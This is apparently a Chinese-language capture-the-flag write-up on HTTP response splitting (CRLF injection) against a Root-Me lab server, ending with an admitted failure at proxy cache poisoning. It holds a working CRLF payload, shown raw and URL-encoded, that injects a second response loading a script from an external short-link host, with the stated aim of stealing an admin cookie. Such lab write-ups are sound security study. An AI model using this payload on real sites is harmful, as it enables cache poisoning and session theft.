攻击原理：
HTTP响应拆分攻击又叫CRLF注入攻击，攻击的原理和XSS攻击有点类似，都是由于后端没有校检用户提交数据直接返回给前端，但是又和XSS攻击不同，返回的数据是在HTTP响应头部中，而非在HTTP主题内容中。（什么时候情况下会返回在HTTP响应头中呢？如Location跳转、cookie等等）。
既然返回的内容是在HTTP头部中，那么怎么控制HTTP头部使其产生攻击呢？这就要了解HTTP协议了，首先HTTP响应信息是通过\r\n\r\n来区分HTTP头部和主题内容的。而HTTP头部各字段是通过\r\n进行分割的。
那为什么又叫CRLF注入呢？
CRLF是”回车(\r) + 换行”（\n）的简称。
\r\n在URL编码中为%od%oa，所以在注入时通过注入%od%oa以达到自定义HTTP头部字段
这里，值得提一下的是：
在Windows 中，行尾使用 CRLF：\r\n
而Linux和Unix中行尾使用LF：\n
所以，针对不同的操作系统攻击也不同，但目前大多数客户端都是windows系统，所以也叫CRLF注入了。
漏洞危害：
知道了攻击原理，那么通过CRLF注入攻击能达到什么危害呢？
既然我们能控制HTTP响应头部中的字段，那么可自定义头部字段来达到攻击：
Location：在HTTP响应码为302时控制网站跳转
set-cookie：给客户端传递cookie，可达到会话固定攻击
XSS攻击：在HTTP响应主题内容中注入XSS代码
HTTP代理服务器缓存中毒攻击：强迫服务器高速缓存中记录了第二次HTTP请求
绕过浏览器XSS防护机制：
X-XSS-Protection：0 关闭浏览器的XSS防护机制
从IE8 开始，IE 浏览器内置了一个针对XSS攻击的防护机制，这个浏览器内置的防护机制就是所谓的XSS filter，这个防护机制主要用于减轻反射型XSS 攻击带来的危害。而后，谷歌浏览器随后也增加一个名为XSS auditor 的防护机制，作用和IE中的XSS filter类似。
这两种XSS防护机制的目的都很简单，如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中，那么这段呈现的恶意代码要么被删除，要么被转义，恶意代码不会被正常的渲染出来，当然了，浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
至于怎么设置浏览器的XSS防护机制，其实很简单，只要在HTTP响应报文的头部增加一个X-XSS-Protection 字段，明确地告诉浏览器XSS filter/auditor该如何工作。 X-XSS-Protection 的字段有三个可选配置值
0： 表示关闭浏览器的XSS防护机制
1：删除检测到的恶意代码， 如果响应报文中没有看到X-XSS-Protection 字段，那么浏览器就认为X-XSS-Protection配置为1，这是浏览器的默认设置
1; mode=block：如果检测到恶意代码，在不渲染恶意代码
CSRF攻击：在HTTP响应主题内容中注入CSRF代码，如img标签，打开浏览器知道访问此Url。
等等，还有其他攻击类型，只要你能想到。
解题思路：
靶机地址：http://challenge01.root-me.org/web-client/ch2/
打开，有两个链接：
通过点击链接，发现HTTP响应头中的set-cookie字段可由客户端控制
set-cookie字段由客户端控制还不够，这样最多能达到固定会话攻击。要使HTTP响应拆分攻击，还需要服务器支持CRLF回车换行，通过注入%0d%0a，HTTP响应头果然进行了换行，这时可注入自定义的HTTP头部信息。
通过302跳转，看到有个管理员地址，尝试访问， 提示401。
那么接下来怎么做呢？看看提示，说网站采用了反向代理，并且管理员经常登陆。结合起来就知道接下来应该是采用CRLF攻击导致代理服务器缓存中毒，致使管理员访问admin页面代理缓存中毒到我们自定义的页面， 这时可通过XSS攻击盗取管理员的Cookie。
那么，接下来我们来研究下CRLF攻击导致代理服务器缓存中毒的原理。
Web代理服务器缓存中毒攻击：
首先需要明白：HTTP协议的工作方式是一个请求对应一个响应。当一个HTTP请求响应中有2个或以上的响应头时，第一个响应头对应着本次发出的请求，而第二个响应头因为木有对应的请求头而被挂起，这时，只需要再次提交一个请求，那么第二个响应头就会对应本次这个请求头，这时就导致了代理服务器缓存中毒。如果第一个响应头是302，那么Location字段指定的URL就是第二个响应头的请求。
知道了攻击原理，那么接下来继续做题。
客户端浏览器缓存中毒攻击：
首先构造第二个响应头，用Content- Length: 0字段结束第一个响应头，从而让它302跳转Location字段值，而第二个响应头正好对应跳转的请求。这里用了Last-Modified字段，将缓存时间设置的足够长，让客户端访问后仍然返回我们定义的页面。
Content- Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
Content-Length: 100
<script src=http://t.cn/E70vgLz></script><h1>hello</h1>URL编码为：
%0D%0AContent-%20Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20%0D%0AContent-Length%3A%20100%0D%0A%0D%0A%3Cscript%20src%3Dhttp%3A%2F%2Ft.cn%2FE70vgLz%3E%3C%2Fscript%3E%3Ch1%3Ehello%3C%2Fh1%3E 执行效果：
模拟受害者：进行访问(请清除之前的访问记录)。这里火狐浏览器、谷歌浏览器执行此URL不起作用，系统自带的IE和edge浏览器可执行。
http://challenge01.root-me.org:58002/user/param?lang=fr%0D%0AContent-%20Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20%0D%0AContent-Length%3A%20100%0D%0A%0D%0A%3Cscript%20src%3Dhttp%3A%2F%2Ft.cn%2FE70vgLz%3E%3C%2Fscript%3E%3Ch1%3Ehello%3C%2Fh1%3E火狐、谷歌浏览器直接不能重定向。
而IE和edga浏览器则能正常重定向到我们自定义的页面，导致JS代码执行了。
接下来，只要不清除浏览器缓存，访问：http://challenge01.root-me.org:58002/home就会一直返回我们自定义的页面。（浏览器读取到了最新的缓存日期大于目前时间，就不会向服务器请求，从缓存中读取）。
现在可以使客户端缓存中毒，那么怎么使Web代理服务器缓存中毒呢？
其实可以把web代理服务器也看作是客户端，和客户端缓存中毒一样，代理服务器会在收到此请求时，第一时间将第一个响应对应第一个请求，第二个响应对应302跳转的地址。如果某个发往某个页面的请求始终产生同一份静态列表，那么代理服务器几乎肯定会调用缓存对该请求进行响应。代理服务器的缓存内容遭受感染，并被迫返回恶意响应而非原本的静态列表……这种状况将持续下去直到缓存过期。
但是经过测试，目前实验未能完成。可能操作有误吧！